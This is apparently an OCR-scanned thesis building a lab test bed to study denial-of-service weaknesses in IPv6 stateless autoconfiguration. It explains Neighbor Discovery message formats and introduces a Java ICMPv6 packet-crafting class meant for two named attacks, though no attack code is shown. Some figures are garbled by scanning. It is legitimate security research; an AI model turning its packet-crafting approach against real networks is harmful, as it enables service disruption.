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I. 


INTRODUCTION 


IPv6  is  the  network  layer  protocol  developed  to 
replace  IPv4.  It  has  a  large  address  space  and  is  expected 
to  improve  network  performance  and  network  security.  The 
intended  improvements  include  both  enhancements  of  existing 
IPv4  functionalities  and  new  features.  Most  of  the  former 
category  of  improvements  have  been  tested  and  analyzed 
during  the  operational  period  of  IPv4;  the  new  features, 
however,  are  not  equally  tested.  Some  of  them  still  have 
not  been  incorporated  into  popular  operating  systems,  and 
some  exist  only  as  RFC  specifications,  with  no  actual 
implementation . 

One  of  the  new  features  of  IPv6  is  the  stateless  host 
autoconfiguration  process.  The  Dynamic  Host  Configuration 
Protocol  (DHCP)  is  the  predominant  way  of  host 
configuration  in  IPv4.  IPv6  introduces  two  distinct  methods 
of  host  autoconfiguration:  stateless  and  stateful.  Although 
stateless  and  stateful  host  autoconfiguration  each  receive 
a  share  in  implementation  and  development,  it's  the 
stateless  option  that  is  supported  by  most  contemporary 
operating  systems,  and  is  significantly  different  than  what 
is  found  in  IPv4.  It  is  a  procedure  designed  to  facilitate 
IPv6-enabled  hosts  to  join  a  network  by  allowing  these 
hosts  to  configure  their  network  parameters  automatically, 
without  the  intervention  of  the  user  or  a  network 
administrator.  For  routed  environments,  though,  a  minimal 
amount  of  manual  router  configuration  is  required  so  that 
information  can  flow  between  links. 

This  feature,  a  basic  characteristic  of  all  IPv6 
implementations,  is  also  the  subject  of  serious  discussions 
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concerning  its  security  implications.  Several  problems  have 
been  identified  and  solutions  proposed  [Nikander04 ]  .  A 
systematic  implementation  and  analysis  in  a  laboratory 
environment  of  the  potential  threats  to  the  hosts  and  the 
network,  during  the  IPv6  autoconfiguration  process,  will 
help  in  the  evaluation  of  the  proposed  solutions  and  in 
research  for  new  ones.  Such  analysis,  together  with  the 
tools  to  gather  the  data  to  support  that  analysis,  is  the 
focus  of  this  thesis. 

A.  OBJECTIVE 

The  main  objective  of  this  research  effort  is  to  build 
a  test  bed  for  investigating  the  vulnerabilities  of  the 
IPv6  stateless  autoconfiguration  procedure.  The  test  bed 
shall  facilitate  the  enactment  and  analysis  of  the  effects 
of  specific  threats  on  the  hosts  and  the  network.  The 
threats  shall  be  implemented  in  software  and  validated 
using  the  test  bed.  The  software  shall  provide  a  convenient 
library  for  ICMPv6  packet  crafting  and  capture,  and  is  to 
be  developed  in  Java  for  portability.  While  this  thesis  is 
not  about  discovering  new  vulnerabilities  or  evaluating 
countermeasures,  the  resulting  test  bed  and  software  shall 
lay  the  necessary  groundwork  for  future  research  in  those 
directions.  Thus,  the  following  tasks  will  be 
accomplished : 

1.  Identify  known  security  issues  with  the  proposed 
IPv6  autoconfiguration  protocol. 

2.  Select  two  candidate  risks  for  further  study. 

3.  Develop  custom  Java  modules  to  supplement  those 
publicly  available  as  necessary  to  develop  low-level  packet 
manipulation  and  crafting. 
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4 .  Configure  a  suite  of  hardware  components  to 
investigate  the  susceptibility  of  the  autoconfiguration 
protocol  to  the  selected  risks. 

5.  Implement  attacks  against  the  test  bed  and  assess 
the  performance  of  the  protocol  in  the  presence  of 
malicious  activity. 

B .  RESEARCH  QUESTIONS 

This  thesis  investigates  the  following  specific 
issues : 

1.  What  are  the  security  considerations 
(vulnerabilities)  of  stateless  autoconfiguration  from  the 
perspective  of  the  host? 

2 .  What  are  the  real  and  potential  threats  to  the 
network?  Are  there  any  known  current  exploits  of  the 
vulnerabilities? 

3.  What  tools  are  necessary  to  study  the  potential 
for  attacks  on  IPv6  autoconfiguration?  Is  it  possible  to 
build  portable  toolkits  for  packet  capture  and  crafting 
that  can  be  used  to  attack  the  IPv6  autoconfiguration 
process? 

4 .  What  methods  are  proposed  for  the  threat 
mitigation? 

C.  ORGANIZATION 

This  thesis  is  organized  as  follows: 

Chapter  II  provides  an  overview  of  the  IPv6 
autoconfiguration  process,  and  a  discussion  of  known 
security  issues.  Chapter  III  presents  the  software  that  was 
developed  for  the  implementation  of  threats.  In  Chapter  IV, 
the  implementation  of  specific  attacks  to  the  stateless 
autoconfiguration  is  presented,  and  results  of  their 
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application  in  a  laboratory  IPv6-based  network  are 
demonstrated.  Since  the  stateless  autoconfiguration  relies 
on  other  protocols,  processes,  and  algorithms  (e.g.. 
Neighbor  Discovery  Protocol,  ICMP,  Duplicate  Address 
Detection,  etc.),  consideration  of  the  inherited  threats 
from  the  base  protocols  or  algorithms  on  the 
autoconfiguration  itself  is  discussed.  An  evaluation  of  the 
autoconfiguration  procedure  is  provided  in  Chapter  V,  based 
on  the  experimental  results  from  Chapter  IV.  Conclusions 
and  recommendations  for  threat  mitigation  are  presented  in 
the  final  chapter,  along  with  suggestions  for  future  work 
on  the  analysis  and  evaluation  of  the  proposed  solutions. 
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II.  BACKGROUND 


This  chapter  intends  to  shortly  present  the  host 
autoconfiguration  procedure  and  the  related  protocols  and 
processes.  It  is  intended  to  be  a  high-level  description 
that  will  introduce  the  autoconfiguration  terminology  and 
help  the  reader  comprehend  why  the  attacks  to  be  presented 
in  subsequent  chapters  would  succeed. 

A.  BASICS  OF  IPV6  ADDRESSING 

The  address  space  in  IPv6  is  128  bits,  thus  allowing 
increased  flexibility  in  designing  networks  with  multiple 
hierarchical  levels,  while  facilitating  hierarchical 
routing.  Ipv6  addresses  identify  interfaces  within  one  out 
of  three  hierarchical  regions  of  the  network.  The  scope  of 
an  address  could  be  link-local,  site-local,  or  global. 
There  are  three  types  of  IPv6  addresses:  unicast,  multicast 
and  anycast. 

1 .  Unicast  Address 

A  unicast  address  identifies  a  single  interface  within 
its  scope.  For  load-balancing  purposes,  a  set  of  interfaces 
can  share  the  same  unicast  address  -  as  long  as  they  all 
appear  as  the  same  interface  to  the  IPv6  implementation  of 
the  host  [Hinden03] .  Unicast  addresses  are  categorized  into 
the  following  four  categories. 

a.  Aggregatable  Global  Unicast  Addresses 
These  are  globally  routable  and  reachable  and  are 
identified  by  the  fixed  prefix  001.  The  term  aggregatable 
is  derived  from  the  format  of  the  address  that  includes 
multiple  aggregation  identifiers  to  support  multiple 
hierarchical  levels,  as  shown  in  Figure  1. 
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Kref  is  0G1.  f«M  aggregatabl^  g  bLd!  ursiULi  address. 

RAID  Top-le¥el.^prega*Bffi  idewtffK* 
ftL3  for  fiiiuPS- use. 

N1AID  N^irt-level^gg  regalioTi  ident"ffier 
5  LA.  ID  5  il •?—  I l! I  ^yrug Jniosl  idemifier. 

Bnterf^^iD  intprf.Ke'MePlifipr. 

Figure  1.  Aggregatable  Global  Unicast  Address  format  (From 

Ref .  [Hagen02 ] ) . 

jb.  Site-Local  Unicast  Addresses 

These  addresses  are  not  reachable  from  outside 
the  local  network  (roughly  equivalent  to  the  private 
address  space  of  IPv4),  and  are  identified  by  the  fixed 
prefix  1111111011,  as  indicated  in  Figure  2. 


Figure  2.  Site-Local  Unicast  Address  format  (From  Ref. 

[Davies02 ] ) . 

c.  Link-Local  Unicast  Addresses 

Link-local  unicast  addresses  are  used  for 
communication  between  nodes  on  the  same  link.  The  fixed 
prefix  of  a  link-local  address  is  1111111010,  and  the 
structure  can  be  seen  in  the  Figure  3 . 


Figure  3.  Link-Local  Unicast  Address  format  (From  Ref. 

[Davies02 ] ) . 
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address 


d.  Special  Unicast  Addresses 

Those  include  the  unspecified 
0:0:0:0:0:0:0:0  (equivalent  to  the  0.0. 0.0  IPv4  address), 
the  loopback  address  0::1,  and  various  IPv4-compatibility 
addresses  with  the  purpose  of  facilitating  dual  stack 
implementations  during  the  transition  period. 

2 .  Multicast  Address 

A  multicast  address  is  assigned  to  a  set  of 
interfaces,  so  that  packets  are  delivered  to  all  those 
interfaces.  The  fixed  prefix  for  multicast  addresses  is 
11111111  (FF)  .  The  structure  of  the  address,  the  possible 
values  of  the  fields,  and  some  well  known  multicast 
addresses  are  displayed  in  Figure  4,  Tables  1  and  Table  2. 


mi  ini 

Flags 

So ope 

Croup  Identifier 

SbiK 

4  bite 

-fiurs 

H2  tia 

(logs:  bii  0  -  3  R«er«d  must  be  »ra. 

bii  4  Da  chis.  Is  a  wall-known  multicast  address. 

1  B  [his is  J  temporary  multiijM  addteiS. 

Scape:  Refer  ta  Table  3-S  far  The  valuer 


Figure  4.  Multicast  Address  format  (From  Ref.  [Hagen02]) . 
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FF02 :0:0:0:0:0:0:1 

All-nodes  on  link 

FF02 :0:0:0:0:0:0:2 

All-routers  on  link 

FF02 :0:0:0:0:0:0:3 

Unassigned 

FF02 :0:0:0:0:0:0:4 

DVMRP  routers 

FF02 :0:0:0:0:0:0:5 

OSPFIGP 

FF02 :0:0:0:0:0:0:6 

OSPFIGP  designated  routers 

FF02 :0:0:0:0:0:0:7 

ST  routers 

FF02 :0:0:0:0:0:0:8 

ST  hosts 

FF02 :0:0:0:0:0:0:9 

RIP  routers 

FF02 :0:0:0:0:0:0:A 

EIGRP  routers 

FF02 :0:0:0:0:0:0:B 

Mobile  agents 

FF02 :0:0:0:0:0:0:D 

All  PIM  routers 

FF02 :0:0:0:0:0:0:E 

RSVP  encapsulation 

FF02 :0:0:0:0:0:1:1 

Link  name 

FF02 :0:0:0:0:0:1:2 

All  DHCP  agents 

FF02 : 0 : 0 : 0 : 0 : 1 : FFXX:XXXX 

So licit ed-node  address 

FF05 :0:0:0:0:0:0:2 

All-routers  on  site 

FF05 :0:0:0:0:0:1:3 

All  DHCP  servers  on  site 

FF05 :0:0:0:0:0:1:4 

All  DHCP  relays  on  site 

Table  1 .  Well  known  Multicast  Addresses 
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Value 

Description 

0 

Reserved 

1 

Node-local  scope  (name  changed  to  interface- 
local  in  new  draft) 

2 

Link-local  scope 

3,  4 

Unassigned 

5 

Site-local  scope 

6,  7 

Unassigned 

8 

Organization-local  scope 

9,  A,  B, 

Unassigned 

C,  D 

E 

Global  scope 

F 

Reserved 

Table  2.  Multicast  Address  Scope  field  values 


3 .  Anycast  Address 

An  anycast  address  is  also  assigned  to  a  set  of 

interfaces,  but  packets  are  delivered  only  to  a  single 

interface  (in  that  set)  that  is  the  closest  to  the  source. 
Anycast  addresses  are  used  only  as  destination  addresses 
and  are  assigned  only  to  routers.  There  is  no  fixed 

identifier  for  anycast  addresses;  routers  retain  routes  to 
the  nodes  of  anycast  groups,  and  are  aware  of  the  anycast 
groups  in  which  they  participate.  Common  use  of  anycast 
addresses  is  for  communication  with  the  nearest  router 
connected  to  a  specified  subnet. 

B .  HOST  AUTOCONFIGURATION 

An  IPv6  host  usually  has  multiple  unicast  addresses 
for  each  of  its  interfaces;  a  link-local  address  is  the 
first  address  assigned  to  the  interface,  while  global 
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and/or  site-local  address  configuration  follows. 
Configuration  of  interfaces  in  IPv6  is  controlled  by  the 
protocol  itself.  The  host  autoconfiguration  feature  allows 
hosts  joining  a  link  to  configure  link-local  addresses  for 
their  interfaces  and  checks  the  uniqueness  and  validity  of 
all  addresses  a  user  attempts  to  assign.  A  minimal 
configuration  of  local  routers  is  only  needed  for  global 
and/or  site-local  address  autoconfiguration  by  the  hosts, 
while  stateful  configuration  options  (such  as  DHCP  for 
IPv6)  are  supported. 

Stateless  autoconfiguration  refers  to  the  procedure 
during  which  the  host  is  assigned  addresses  based  on  the 
local  router  advertisements.  Stateless  DHCP  is  the 
procedure  during  which  addresses  are  configured  according 
to  the  router  advertisements ,  and  a  host  receives 
additional  information  (such  as  DNS  servers)  via  a  DHCP 
server . 

1.  IPv6  Address  States 

An  IPv6  address  can  be  tentative,  valid  or  invalid.  A 
tentative  address  is  an  address  that  is  in  the  process  of 
being  verified  for  uniqueness.  It  can  not  be  used  for 
normal  IPv6  traffic;  it  is  only  used  for  receiving 
duplicate  address  detection  related  messages. 

A  valid  address  is  one  that  is  verified  for 
uniqueness,  and  therefore  can  be  used  for  all  traffic.  It 
can  be  either  preferred  (use  of  this  address  is  unlimited) , 
or  deprecated  (use  is  discouraged  for  new  communication 
since  a  new  preferred  address  exists,  but  can  be  used  for 
existing  sessions)  .  The  period  that  an  address  is  valid  is 
advertised  by  the  routers  in  a  corresponding  router 
advertisement  field . 
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An  invalid  address  is  the  address  after  its  valid 
lifetime  expires,  and  it  can  no  longer  be  used  for  sending 
or  receiving  IPv6  traffic. 

2 .  Link-local  Address  Autoconfiguration 

The  procedure  starts  with  the  generation  of  a 
tentative  link-local  address  by  the  host.  The  prefix  of  a 
link-local  address  is  1111  1110  10.  The  rest  of  the  address 
is  an  interface  identifier,  which  is  most  likely  unique. 
Typically  on  an  Ethernet  network  the  prefix  is  FE80::/64 
and  it  is  followed  by  the  EUI-64  interface  identifier.  The 
EUI-64  identifier  is  based  on  the  physical  address  of  the 
interface  (48-bit  MAC  address),  with  the  injection  of  the 
two  bytes  OxFFFE  between  the  third  and  fourth  byte  as  shown 
in  Figure  5 . 


IEEE  administered  company  ID  Manufacturer  selected  e>±ension  ID 


Figure  5.  EUI-64  Interface  Identifier  (from  Ref. 

[Microsof tO 6 ] ) . 


In  the  IPv6  address  that  is  generated,  the  seventh  bit 
of  the  interface  identifier  (the  U/L  bit  of  the  EUI-64)  is 
complemented . 

The  generated  address  is  then  checked  for  uniqueness 
in  the  local  network  by  the  use  of  the  Duplicate  Address 
Detection  mechanism  (DAD) .  A  neighbor  solicitation  message 
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is  sent,  stating  the  tentative  link-local  address;  if 
another  node  is  assigned  this  address,  it  sends  a 
corresponding  neighbor  advertisement.  At  this  point  another 
address  must  be  generated  or  the  autoconfiguration  fails. 
If  the  address  is  unique,  then  the  tentative  address 
becomes  valid,  and  the  node  can  communicate  with  other 
nodes  in  the  link. 

3.  Global  Address  Autoconfiguration 
a.  Router  Configuration 

A  router,  in  order  to  support  the  host 
autoconfiguration  procedure,  must  send  router 

advertisements.  A  router  advertisement  includes  two  flags 
(one  bit  each)  which  indicate  the  autoconfiguration  method. 
The  "M"  flag,  when  set,  tells  hosts  to  use  DHCPv6  for 
address  configuration  (Managed  Address  Configuration  Flag) . 
The  "0"  flag,  when  set,  tells  hosts  to  use  an  administered 
configuration  method  (such  as  DHCPv6)  for  information  other 
than  addresses.  For  the  stateless  autoconfiguration  method, 
router  advertisements  must  at  least  contain  the  subnet 
prefix  that  the  hosts  must  use  to  formulate  their  site- 
local  or  global  address,  and  the  corresponding  lifetimes 
(valid  and  preferred) .  Option  headers  of  router 
advertisements  include  the  advertised  MTU  and  the  source 
link-layer  address  of  the  message.  Router  advertisements 
are  sent  periodically  or  when  solicited  by  a  host. 

jb.  Stateless  Address  Autoconfiguration 
The  host  sends  a  router  solicitation  message  to 
request  an  immediate  router  advertisement.  If  no  router 
advertisement  or  a  router  advertisement  with  the  "M"  flag 
(bit)  set  is  received,  the  host  proceeds  to  stateful 
autoconfiguration.  If  a  router  advertisement  is  received 

with  the  "M"  flag  set  to  zero,  the  host  uses  the  advertised 
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prefix  to  derive  a  tentative  address.  After  a  duplicate 
address  detection  procedure,  the  address  is  either  assigned 
to  the  interface,  or  it  is  rejected  if  another  node 
responds  with  a  corresponding  neighbor  advertisement, 
stating  that  this  address  is  already  in  use. 

If  the  received  router  advertisements  have  the 
"0"  flag  set,  the  host  uses  stateful  configuration  to 
obtain  additional  network  information. 

4 .  IPv6  Renumbering 

IPv6  renumbering  is  the  procedure  during  which  all 
hosts  of  an  IPv6  subnet  change  their  subnet  prefix. 
Renumbering  is  required  when  an  isolated  network  (which 
makes  use  of  site-local  addresses)  joins  the  public  IPv6 
internet,  when  a  network  leaves  the  internet,  when  it 
becomes  multi-homed  (connected  to  the  public  internet 
through  multiple  gateways) ,  or  for  whatever  reasons  a 
change  of  the  prefix  is  needed.  The  procedure  starts  with  a 
special  "router  renumbering  command"  [CrawfordOO]  issued  by 
the  network  administrator  via  a  control  device.  This 
command  includes  the  routers  that  need  to  be  reconfigured 
along  with  their  new  prefixes.  After  the  routers  process 
the  renumbering  command,  they  advertise  the  new  prefix  to 
their  hosts  and,  if  required  by  the  renumbering  command, 
respond  to  the  originator  of  the  command  with  a  "router 
renumbering  result"  message.  Renumbering  commands  and 
results  are  ICMPv6  messages.  An  alternative  method  of 
renumbering  makes  use  of  the  DHCPv6  through  the  address 
"leases"  that  expire  when  required. 

C.  NEIGHBOR  DISCOVERY  PROTOCOL 

The  Neighbor  Discovery  Protocol  is  used  to  provide  the 
functionality  of  Address  Resolution  Protocol  (ARP) ,  ICMPv4 
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Router  Discovery,  and  the  ICMPv4  Redirect  message 
[Narten98] .  For  this  reason,  it  formalizes  five  ICMPv6 
informational  messages.  The  router  and  neighbor 
solicitations  and  advertisements  are  four  neighbor 
discovery  messages  used  mostly  in  address  autoconfiguration 
and  address  resolution;  the  fifth  message  of  this  protocol 
is  the  redirect,  which  in  IPv4  is  considered  an  ICMP  error 
message . 

1 .  ICMPv6 

ICMPv6,  like  ICMP  for  IPv4,  is  used  either  for  error 
messages  (by  the  destination  or  an  intermediate  node) ,  or 
for  informational  messages  to  test,  diagnose  and  enhance 
connectivity.  The  format  of  the  ICMPv6  is  displayed  in 
Figure  6 . 

0  12  3 

01234567890123456789012345678901 

I  Type  |  Code  |  Checksum  | 

I  I 

+  Message  Body  + 

I  I 

+ - + 

Figure  6.  ICMPv6  format  (from  Ref.  [Conta06] ) . 


The  type  field  indicates  the  type  of  message.  Its 
value  determines  the  format  of  the  remaining  data.  The  code 
field  depends  on  the  message  type  and  is  used  to  create  an 
additional  level  of  message  granularity.  The  checksum  field 
is  used  to  detect  data  corruption  in  the  ICMPv6  message  and 
parts  of  the  IPv6  header.  The  calculation  of  the  checksum 
involves  a  "pseudo-header"  consisting  of  the  source  and 
destination  addresses,  the  payload  length,  a  sequence  of  24 
zeroes  and  the  number  58. 
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2 .  Neighbor  Discovery  Messages 
a.  Router  Solicitation 

The  purpose  of  router  solicitation  is  to  force 
routers  to  generate  router  advertisements  immediately 
rather  than  at  their  next  scheduled  time.  It  is  used  when  a 
node  joins  the  network,  and  needs  to  be  configured. 
Typically,  the  source  address  is  the  unspecified  address, 
and  the  destination  address  is  the  all-routers  multicast 
address.  The  hop  limit  must  be  255.  The  router 
solicitation  format  is  shown  in  Figure  7 . 


0  12  3 

01234567890123456789012345678901 

|  Type  |  Code  I  Checksum  I 

|  Reserved  I 

|  Options  . . . 

+-+-+-+-+-+-+-+-+-+-+-+- 

Figure  7.  Router  Solicitation  format  (from  Ref. 

[Narten98] ) . 


The  type  of  a  router  solicitation  is  133,  and  the  code  0. 
The  reserved  field  must  be  initialized  to  zeros,  and  is  not 
used.  Options  include  the  link-layer  address  of  the  sender 
if  the  source  address  is  not  the  unspecified  address. 

jb.  Router  Advertisement 

The  router  advertisement  is  a  response  to  the 
router  solicitation.  Routers  also  send  advertisements 
periodically . 

The  source  address  is  the  link-local  address  of 
the  corresponding  router  interface.  The  destination  address 
is  either  the  address  of  an  invoking  router  solicitation  or 
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the  all-nodes  multicast  address.  The  hop  limit  is  255.  The 
router  advertisement  format  is  shown  in  Figure  8. 


0  12  3 

01234567890123456789012345678901 

I  Type  I  Code  I  Checksum  I 

|  Cur  Hop  Limit  |M|0|  Reserved  |  Router  Lifetime  I 

I  Reachable  Time  I 

I  Retrans  Timer  I 

I  Options  . . . 

+-+-+-+-+-+-+-+-+-+-+-+- 

Figure  8.  Router  Advertisement  format  (from  Ref. 

[Narten98 ] ) . 


The  type  of  this  ICMPv6  message  is  134  and  the  code  is 
0.  The  "M"  and  "0"  bits  are  the  "managed  address 
configuration"  and  the  "other  stateful  configuration" 
flags.  The  router  lifetime  is  in  seconds,  and  a  value  of 
zero  means  the  router  is  not  a  default  router.  The 
reachable  time  field  indicates  the  time  -  in  milliseconds  - 
that  a  node  assumes  a  neighbor  is  reachable  after  having 
received  a  reachability  confirmation.  Retransmission  time 
is  also  in  milliseconds.  Possible  options  include  the 
sender's  link-layer  address,  the  MTU  and  the  prefix 
information . 

c.  Neighbor  Solicitation 

Neighbor  solicitation  is  the  equivalent  of  ARP  in 
IPv4.  It  is  used  by  nodes  to  request  the  link-layer  address 
of  a  target  node  while  also  providing  their  own  link-layer 
address  to  the  target.  Neighbor  solicitations  are 
multicast  when  the  node  needs  to  resolve  an  address  and 
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unicast  when  the  node  seeks  to  verify  the  reachability  of  a 
neighbor.  The  neighbor  solicitation  format  is  shown  in 
Figure  9. 

0  12  3 

01234567890123456789012345678901 

|  Type  |  Code  I  Checksum  | 

|  Reserved  | 

I  I 

+  + 

I  I 

+  Target  Address  + 

I  I 

+  + 

I  I 

|  Options  . . . 

+-+-+-+-+-+-+-+-+-+-+-+- 

Figure  9.  Neighbor  Solicitation  format  (from  Ref. 

[Narten98] ) . 

In  the  case  of  Duplicate  Address  Detection,  the 
source  address  is  the  unspecified  address  and  the 
destination  address  is  the  solicited-node  multicast  address 
corresponding  to  the  target  address.  The  hop  limit  is  255. 
The  target  address  is  the  unicast  IPv6  address  of  the 
target  of  the  solicitation. 

The  type  of  a  neighbor  solicitation  is  135,  and 
the  code  0.  Possible  options  include  the  link-layer  address 
of  the  sender  if  the  source  address  is  not  the  unspecified 
address . 

d.  Neighbor  Advertisement 

The  neighbor  advertisement  is  a  response  to  the 
neighbor  solicitation.  Nodes  may  also  send  advertisements 
periodically,  in  order  to  propagate  new  information 
quickly . 


17 


If  the  solicitation's  source  address  is  the 
unspecified  address,  the  advertisement's  destination 
address  is  the  all-nodes  multicast  address.  The  hop  limit 
is  255.  The  neighbor  advertisement  format  is  depicted  in 
Figure  1 0 . 

0  12  3 

01234567890123456789012345678901 

I  Type  I  Code  I  Checksum  I 

I R I S | 0 |  Reserved  I 

I  I 

+  + 

I  I 

+  Target  Address  + 

I  I 

+  + 

I  I 

I  Options  .  .  . 

H 1 1 1 1 h  — +  — H 1 1 1 h  — 

Figure  10.  Neighbor  Advertisement  format  (from  Ref. 

[Narten98 ] ) . 

The  type  of  a  neighbor  advertisement  is  136,  and 
the  code  0.  The  "R"  bit  indicates  that  the  node  is  a 
router.  The  "S"  bit  indicates  that  the  advertisement  is 
sent  as  a  response  to  a  neighbor  solicitation.  The  "0"  bit 
is  the  override  flag.  When  set,  it  indicates  that  the 
advertisement  should  override  an  existing  cache  entry  and 
update  the  cached  link-layer  address.  An  existing  Neighbor 
Cache  entry  for  which  no  link-layer  address  is  known  will 
always  be  updated. 

e.  Redirect  Function 

The  redirect  function  is  used  to  enhance  the 
performance  of  a  network  by  allowing  routers  to  inform 
hosts  of  a  better  route  to  use  for  datagrams  sent  to  a 
particular  destination.  When  a  router  receives  a  message 
from  a  host,  while  there  is  a  more  efficient  route  for  the 
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specific  destination,  it  responds  to  the  host  with  the 
first-hop  to  use  when  sending  messages  to  this  destination. 
Redirect  messages  may  also  include  the  link-layer  address 
of  the  first-hop,  attempting  to  update  the  sender's  address 
resolution  cache  and  save  an  address  resolution  cycle. 


The  source  address  is  the  link-local  address  of 
the  originator  router's  interface.  The  hop  limit  is  255. 
The  redirect  message  format  is  shown  in  Figure  11. 


The  type  of  the  redirect  message  is  137  and  the 
code  is  0.  The  target  address  is  the  link-local  address  of 
the  better  first-hop  router  that  the  host  should  use.  If 
the  communicating  hosts  are  on  the  same  link  (neighbors)  , 
the  target  address  field  contains  the  same  value  as  the 
ICMP  destination.  Possible  options  include  the  target  link- 
layer  address  and  a  redirected  header  -  a  part  of  the  IP 
packet  that  triggered  the  "redirect"  response. 
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D.  KNOWN  SECURITY  ISSUES  RELATED  TO  IPV6  HOST 

AUTOCONFIGURATION 

Since  address  autoconfiguration  is  a  critical 
procedure,  it  must  be  secured  against  various  attacks.  The 
proposed  solution  for  protection  of  the  exchanged  neighbor 
discovery  messages  is  the  IPsec  authentication  header 
[Kent05] .  That  would  require  the  existence  of  security 
associations  between  all  participating  nodes  and  all  nodes 
that  would  potentially  join  the  network.  Security 
associations  (SAs)  between  two  nodes  could  be  negotiated 
via  IKE,  but  this  cannot  be  done  for  multicasted  messages; 
in  that  case,  the  SAs  have  to  be  manually  configured.  This 
introduces  yet  unresolved  issues,  due  to  scalability  and 
key  management  problems  [Arkko05] . 

The  Secure  Neighbor  Discovery  (SEND)  working  group  of 
the  Internet  Engineering  Task  Force  (IETF)  proposed  the 
SEND  protocol  to  solve  the  problem  of  key  management 
[Arkko05]  with  the  use  of  Cryptographically  Generated 
Addresses  (CGA)  [Aura05]  .  As  of  August  2006, 
implementations  of  these  protocols  that  are  proposed 
standards  were  found  only  in  Linux  and  FreeBSD  operating 
systems . 

This  thesis  attempts  to  implement  and  analyze  two 
Denial  of  Service  attacks,  based  on  security  concerns  of 
the  autoconfiguration  process  as  described  in  the  relevant 
RFCs  and  on  the  potential  threats  of  the  Neighbor  Discovery 
Protocol  [Nikander04 ] . 

The  following  chapter  presents  the  software  developed 
for  low-level  IPv6  packet  manipulation,  and  the  code  of  two 
Denial  of  Service  attacks. 
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III.  JAVA  SOFTWARE  FOR  LOW-LEVEL  IPV6 
AUTOCONFIGURATION  MESSAGE  EXCHANGE  MANIPULATION 


The  attacking  software  was  developed  in  Java.  Since 
Java  does  not  natively  support  low-level  socket 
manipulation,  an  appropriate  library  for  packet  capturing 
and  crafting  had  to  be  used.  Two  such  open-source  libraries 
were  found,  both  being  Java  wrappers  of  the  C-based  libpcap 
(Unix)  and  winpcap  (Windows)  capture  libraries.  Jpcap 
(capital  J)  supports  packet  crafting  and  was  selected  over 
jpcap1 . 

The  current  version  of  Jpcap  (version  0.5.1),  as  of 
August  2006,  doesn't  provide  direct  support  for  ICMPv6 .  The 
intention  of  this  research  was,  apart  from  implementing  the 
attacks,  to  develop  a  Java  class  that  supports  ICMPv6 
packet  crafting  and  capture.  This  class  was  then  used  for 
the  "Router  Lifetime  Decreaser"  and  the  "DAD  Collision 
Generator",  two  Denial  of  Service  attacks. 

The  software  was  developed  in  NetBeans  IDE  5.0,  and 
the  comments  were  converted  to  Javadoc  with  the  appropriate 
NetBeans  function. 

A.  ICMPV6  SUPPORT  FOR  JPCAP 

As  the  attack  uses  ICMPv6  messages,  a  means  must  be 
provided  to  generate  these  messages  by  the  attacker.  A  new 
Java  class  called  ICMP6  has  been  developed  for  this  thesis 
which  provides  the  necessary  ICMPv6  support  to  supplement 
the  Jpcap  library.  The  Java  code  for  this  class  is  provided 


1  Jpcap  development  is  maintained  by  a  faculty  member  of  UC,  Irvine 
at  netresearch.ics.uci.edu/kfujii/jpcap/doc/index.html;  jpcap  is  a 
"sourgef orge"  project  at  sourceforge.net/projects/jpcap. 
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in  Appendix  A,  while  two  attack  implementations  based  on 
the  class  are  presented  in  Appendices  B  and  C, 
respectively . 

1 .  The  Constants 

The  bytes  of  the  fields  for  the  ICMP  header  and  for 
the  ICMPv6  neighbor  discovery  messages  are  provided  as 
constants,  along  with  the  corresponding  types.  Tables  3  - 
10  show  the  class's  constants. 


Constant 

Description 

Value 

Static 

short 

LINK  DESTINATION  BYTE 

Starting  Byte  of  Link- 
layer  Header  "Destination 
Address"  field 

0 

Static 

short 

LINK  SOURCE  BYTE 

Starting  Byte  Link-layer 
Header  "Source  Address" 
field  (the  field  length 
is  6  bytes) 

6 

Static 

short 

PACKET_TYPE 

Byte  of  the  Link-layer 
Header  "Packet  Type" 
field  (the  field  length 
is  6  bytes) 

12 

Table  3.  Constants  of  Class  ICMP6  for  Link-Layer  bytes 
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Constant 

Description 

Value 

static 

short 

VERSION  PRIORITY  B 

YTE 

Byte  of  the  Network-layer 
Header  "Version  -  Priority" 
field 

0 

static 

short 

PAYLOAD_LENGTH_BYT 

E 

Starting  Byte  of  the 
Network-layer  Header 
"Payload  Length"  field 
(field  is  two  bytes  long) 

4 

static 

short 

NEXT  HEADER  BYTE 

Byte  of  the  Network-layer 
Header  "Next  Header"  field 

6 

static 

short 

HOP_LIMIT_BYTE 

Byte  of  the  Network-layer 
Header  "Hop  Limit"  field 

7 

static 

short 

SOURCE  BYTE 

Starting  Byte  of  the 
Network-layer  "Source 
Address"  field  (field  length 
is  8  bytes) 

8 

static 

short 

DESTINATION_BYTE 

Starting  Byte  of  the 
Network-layer  "Destination 
Address"  field  (field  length 
is  8  bytes) 

24 

static 

short 

PAYLOAD  BYTE 

Starting  Byte  of  Network- 
layer's  payload 

40 

static 

short 

ICMP_TYPE_BYTE 

Byte  of  the  ICMP  Header 

"ICMP  Type"  field 

40 

static 

short 

ICMP_CODE_BYTE 

Byte  of  the  ICMP  Header 

"ICMP  Code"  field 

41 

static 

short 

ICMP_CHECKSUM_BYTE 

Starting  Byte  of  ICMP  Header 
"ICMP  Checksum"  field  (field 
length  is  2  bytes) 

42 

static 

short 

ICMP_BODY_BYTE 

Starting  Byte  of  the  ICMP 
Body 

44 

Table  4 .  Constants  of  Class  ICMP6  for  Network-Layer  bytes 
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Constant 

Description 

Value 

static 

short 

ECHO  REQUEST 

Value  of  ICMPv6  Type  for  "Echo 
request"  message 

128 

static 

short 

ECHO  REPLY 

Value  of  ICMPv6  Type  for  "Echo 
reply"  message 

129 

static 

short 

MLR 

Value  of  ICMPv6  Type  for  "Echo 
multicast  listener  report"  message 

131 

static 

short 

RS 

Value  of  ICMPv6  Type  for  "Router 
Solicitation"  message 

133 

static 

short 

RA 

Value  of  ICMPv6  Type  for  "Router 
Advertisement"  message 

134 

static 

short 

NS 

Value  of  ICMPv6  Type  for  "Neighbor 
Solicitation"  message 

135 

static 

short 

NA 

Value  of  ICMPv6  Type  for  "Neighbor 
Advertisement"  message 

136 

static 

short 

REDIRECT 

Value  of  ICMPv6  Type  for 

"Redirect"  message 

137 

Table  5.  Class  ICMP6  constants  for  ICMPv6  Type  field  value 


Constant 

Description 

Value 

static 

short 

AUTO_CONFIG_FLAGS 

Byte  of  the  ICMP  Router 

Advertisement 

"Autoconfiguration  Flags" 

fields 

45 

static 

short 

ROUTER  LIFETIME 

Byte  of  the  ICMP  Router 
Advertisement  "Router  Lifetime" 
field 

46 

static 

short 

REACHABLE  TIME 

Byte  of  the  ICMP  Router 
Advertisement  "Reachable  time" 
